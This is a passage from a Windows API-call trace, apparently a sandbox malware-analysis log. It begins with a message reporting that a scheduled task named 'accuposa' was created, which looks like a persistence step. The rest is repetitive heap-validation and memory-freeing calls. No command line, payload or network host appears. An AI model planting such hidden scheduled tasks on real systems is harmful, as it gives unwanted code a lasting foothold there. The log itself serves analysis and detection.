() returned 0xd79c85d000 [0124.813] lstrlenW (lpString="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n") returned 70 [0124.813] GetConsoleOutputCP () returned 0x0 [0124.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0124.814] GetConsoleOutputCP () returned 0x0 [0124.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0124.814] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 70 [0124.814] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0124.814] IUnknown:Release (This=0x2996dba6fd0) returned 0x0 [0124.814] TaskScheduler:IUnknown:Release (This=0x2996dba5980) returned 0x0 [0124.814] TaskScheduler:IUnknown:Release (This=0x2996dba5900) returned 0x0 [0124.814] TaskScheduler:IUnknown:Release (This=0x2996dba5750) returned 0x0 [0124.814] lstrlenW (lpString="") returned 0 [0124.814] lstrlenW (lpString="5") returned 1 [0124.814] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0124.814] GetProcessHeap () returned 0x2996d990000 [0124.814] GetProcessHeap () returned 0x2996d990000 [0124.814] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ace0) returned 1 [0124.814] GetProcessHeap () returned 0x2996d990000 [0124.815] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99ace0) returned 0x1fc [0124.815] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99ace0) returned 1 [0124.815] GetProcessHeap () returned 0x2996d990000 [0124.815] GetProcessHeap () returned 0x2996d990000 [0124.816] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994aa0) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994aa0) returned 0x4 [0124.816] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994aa0) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ab10) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99ab10) returned 0x16 [0124.816] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99ab10) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99abf0) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99abf0) returned 0x18 [0124.816] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99abf0) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b540) returned 1 [0124.816] GetProcessHeap () returned 0x2996d990000 [0124.816] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b540) returned 0x20 [0124.817] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b540) returned 1 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.817] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9942d0) returned 1 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.817] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9942d0) returned 0xa0 [0124.817] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9942d0) returned 1 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.817] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d992160) returned 1 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.817] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d992160) returned 0x18 [0124.817] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d992160) returned 1 [0124.817] GetProcessHeap () returned 0x2996d990000 [0124.818] GetProcessHeap () returned 0x2996d990000 [0124.818] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b810) returned 1 [0124.818] GetProcessHeap () returned 0x2996d990000 [0124.818] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b810) returned 0x20 [0124.818] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b810) returned 1 [0124.818] GetProcessHeap () returned 0x2996d990000 [0124.818] GetProcessHeap () returned 0x2996d990000 [0124.818] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ac30) returned 1 [0124.818] GetProcessHeap () returned 0x2996d990000 [0124.818] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99ac30) returned 0x9a [0124.819] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99ac30) returned 1 [0124.819] GetProcessHeap () returned 0x2996d990000 [0124.819] GetProcessHeap () returned 0x2996d990000 [0124.819] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a930) returned 1 [0124.819] GetProcessHeap () returned 0x2996d990000 [0124.819] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a930) returned 0x18 [0124.819] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a930) returned 1 [0124.819] GetProcessHeap () returned 0x2996d990000 [0124.819] GetProcessHeap () returned 0x2996d990000 [0124.819] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b720) returned 1 [0124.819] GetProcessHeap () returned 0x2996d990000 [0124.819] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b720) returned 0x20 [0124.820] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b720) returned 1 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993c30) returned 1 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993c30) returned 0x9c [0124.820] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993c30) returned 1 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a970) returned 1 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a970) returned 0x18 [0124.820] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a970) returned 1 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998cf0) returned 1 [0124.820] GetProcessHeap () returned 0x2996d990000 [0124.820] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998cf0) returned 0x20 [0124.821] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998cf0) returned 1 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a8b0) returned 1 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a8b0) returned 0xe [0124.821] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a8b0) returned 1 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a9b0) returned 1 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a9b0) returned 0x18 [0124.821] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a9b0) returned 1 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998cc0) returned 1 [0124.821] GetProcessHeap () returned 0x2996d990000 [0124.821] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998cc0) returned 0x20 [0124.822] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998cc0) returned 1 [0124.822] GetProcessHeap () returned 0x2996d990000 [0124.822] GetProcessHeap () returned 0x2996d990000 [0124.822] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d999720) returned 1 [0124.822] GetProcessHeap () returned 0x2996d990000 [0124.822] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d999720) returned 0x208 [0124.823] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d999720) returned 1 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994890) returned 1 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994890) returned 0x18 [0124.823] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994890) returned 1 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998b70) returned 1 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998b70) returned 0x20 [0124.823] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998b70) returned 1 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.823] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99baf0) returned 1 [0124.823] GetProcessHeap () returned 0x2996d990000 [0124.824] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99baf0) returned 0x200 [0124.824] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99baf0) returned 1 [0124.824] GetProcessHeap () returned 0x2996d990000 [0124.824] GetProcessHeap () returned 0x2996d990000 [0124.824] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994780) returned 1 [0124.824] GetProcessHeap () returned 0x2996d990000 [0124.824] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994780) returned 0x18 [0124.824] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994780) returned 1 [0124.824] GetProcessHeap () returned 0x2996d990000 [0124.824] GetProcessHeap () returned 0x2996d990000 [0124.824] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998d80) returned 1 [0124.824] GetProcessHeap () returned 0x2996d990000 [0124.824] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998d80) returned 0x20 [0124.825] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998d80) returned 1 [0124.827] GetProcessHeap () returned 0x2996d990000 [0124.827] GetProcessHeap () returned 0x2996d990000 [0124.827] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993990) returned 1 [0124.827] GetProcessHeap () returned 0x2996d990000 [0124.827] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993990) returned 0x14 [0124.827] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993990) returned 1 [0124.827] GetProcessHeap () returned 0x2996d990000 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993970) returned 1 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993970) returned 0x18 [0124.828] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993970) returned 1 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998bd0) returned 1 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998bd0) returned 0x20 [0124.828] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998bd0) returned 1 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9939b0) returned 1 [0124.828] GetProcessHeap () returned 0x2996d990000 [0124.828] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9939b0) returned 0x16 [0124.828] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9939b0) returned 1 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9943c0) returned 1 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9943c0) returned 0x18 [0124.829] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9943c0) returned 1 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998ae0) returned 1 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998ae0) returned 0x20 [0124.829] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998ae0) returned 1 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994ae0) returned 1 [0124.829] GetProcessHeap () returned 0x2996d990000 [0124.829] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994ae0) returned 0x2 [0124.829] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994ae0) returned 1 [0124.830] GetProcessHeap () returned 0x2996d990000 [0124.830] GetProcessHeap () returned 0x2996d990000 [0124.830] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994450) returned 1 [0124.830] GetProcessHeap () returned 0x2996d990000 [0124.830] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994450) returned 0x20 [0124.830] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994450) returned 1 [0124.830] GetProcessHeap () returned 0x2996d990000 [0124.830] GetProcessHeap () returned 0x2996d990000 [0124.830] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9944a0) returned 1 [0124.830] GetProcessHeap () returned 0x2996d990000 [0124.830] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9944a0) returned 0x20 [0124.831] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9944a0) returned 1 [0124.831] GetProcessHeap () returned 0x2996d990000 [0124.831] GetProcessHeap () returned 0x2996d990000 [0124.831] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9944d0) returned 1 [0124.831] GetProcessHeap () returned 0x2996d990000 [0124.831] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9944d0) returned 0x20 [0124.831] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9944d0) returned 1 [0124.831] GetProcessHeap () returned 0x2996d990000 [0124.832] GetProcessHeap () returned 0x2996d990000 [0124.832] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994040) returned 1 [0124.832] GetProcessHeap () returned 0x2996d990000 [0124.832] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994040) returned 0x20 [0124.832] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994040) returned 1 [0124.832] GetProcessHeap () returned 0x2996d990000 [0124.832] GetProcessHeap () returned 0x2996d990000 [0124.832] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b7e0) returned 1 [0124.832] GetProcessHeap () returned 0x2996d990000 [0124.832] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b7e0) returned 0x20 [0124.833] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b7e0) returned 1 [0124.833] GetProcessHeap () returned 0x2996d990000 [0124.833] GetProcessHeap () returned 0x2996d990000 [0124.833] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99aaf0) returned 1 [0124.833] GetProcessHeap () returned 0x2996d990000 [0124.833] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99aaf0) returned 0xa [0124.833] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99aaf0) returned 1 [0124.833] GetProcessHeap () returned 0x2996d990000 [0124.833] GetProcessHeap () returned 0x2996d990000 [0124.833] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b5a0) returned 1 [0124.833] GetProcessHeap () returned 0x2996d990000 [0124.833] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b5a0) returned 0x20 [0124.834] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b5a0) returned 1 [0124.834] GetProcessHeap () returned 0x2996d990000 [0124.834] GetProcessHeap () returned 0x2996d990000 [0124.834] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994380) returned 1 [0124.834] GetProcessHeap () returned 0x2996d990000 [0124.834] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994380) returned 0x30 [0124.834] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994380) returned 1 [0124.834] GetProcessHeap () returned 0x2996d990000 [0124.834] GetProcessHeap () returned 0x2996d990000 [0124.834] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b870) returned 1 [0124.834] GetProcessHeap () returned 0x2996d990000 [0124.834] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b870) returned 0x20 [0124.835] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b870) returned 1 [0124.835] GetProcessHeap () returned 0x2996d990000 [0124.835] GetProcessHeap () returned 0x2996d990000 [0124.835] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993ce0) returned 1 [0124.835] GetProcessHeap () returned 0x2996d990000 [0124.835] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993ce0) returned 0x30 [0124.836] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993ce0) returned 1 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b8d0) returned 1 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b8d0) returned 0x20 [0124.836] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b8d0) returned 1 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a8f0) returned 1 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a8f0) returned 0x10 [0124.836] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a8f0) returned 1 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b360) returned 1 [0124.836] GetProcessHeap () returned 0x2996d990000 [0124.836] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b360) returned 0x20 [0124.837] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b360) returned 1 [0124.837] GetProcessHeap () returned 0x2996d990000 [0124.837] GetProcessHeap () returned 0x2996d990000 [0124.837] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a910) returned 1 [0124.837] GetProcessHeap () returned 0x2996d990000 [0124.837] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a910) returned 0x10 [0124.837] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a910) returned 1 [0124.837] GetProcessHeap () returned 0x2996d990000 [0124.837] GetProcessHeap () returned 0x2996d990000 [0124.837] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b600) returned 1 [0124.837] GetProcessHeap () returned 0x2996d990000 [0124.837] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b600) returned 0x20 [0124.838] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b600) returned 1 [0124.838] GetProcessHeap () returned 0x2996d990000 [0124.838] GetProcessHeap () returned 0x2996d990000 [0124.838] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a870) returned 1 [0124.838] GetProcessHeap () returned 0x2996d990000 [0124.838] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a870) returned 0xe [0124.838] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a870) returned 1 [0124.838] GetProcessHeap () returned 0x2996d990000 [0124.838] GetProcessHeap () returned 0x2996d990000 [0124.838] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b390) returned 1 [0124.838] GetProcessHeap () returned 0x2996d990000 [0124.838] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b390) returned 0x20 [0124.839] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b390) returned 1 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ab70) returned 1 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99ab70) returned 0x16 [0124.839] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99ab70) returned 1 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b3c0) returned 1 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b3c0) returned 0x20 [0124.839] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b3c0) returned 1 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99aa10) returned 1 [0124.839] GetProcessHeap () returned 0x2996d990000 [0124.839] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99aa10) returned 0x16 [0124.840] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99aa10) returned 1 [0124.840] GetProcessHeap () returned 0x2996d990000 [0124.840] GetProcessHeap () returned 0x2996d990000 [0124.840] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b450) returned 1 [0124.840] GetProcessHeap () returned 0x2996d990000 [0124.840] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b450) returned 0x20 [0124.840] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b450) returned 1 [0124.843] GetProcessHeap () returned 0x2996d990000 [0124.843] GetProcessHeap () returned 0x2996d990000 [0124.843] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9a9f60) returned 1 [0124.843] GetProcessHeap () returned 0x2996d990000 [0124.843] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9a9f60) returned 0x82 [0124.843] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9a9f60) returned 1 [0124.843] GetProcessHeap () returned 0x2996d990000 [0124.843] GetProcessHeap () returned 0x2996d990000 [0124.843] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b630) returned 1 [0124.844] GetProcessHeap () returned 0x2996d990000 [0124.844] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b630) returned 0x20 [0124.844] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b630) returned 1 [0124.844] GetProcessHeap () returned 0x2996d990000 [0124.844] GetProcessHeap () returned 0x2996d990000 [0124.844] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ab50) returned 1 [0124.844] GetProcessHeap () returned 0x2996d990000 [0124.844] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99ab50) returned 0xe [0124.844] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99ab50) returned 1 [0124.844] GetProcessHeap () returned 0x2996d990000 [0124.844] GetProcessHeap () returned 0x2996d990000 [0124.844] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b480) returned 1 [0124.844] GetProcessHeap () returned 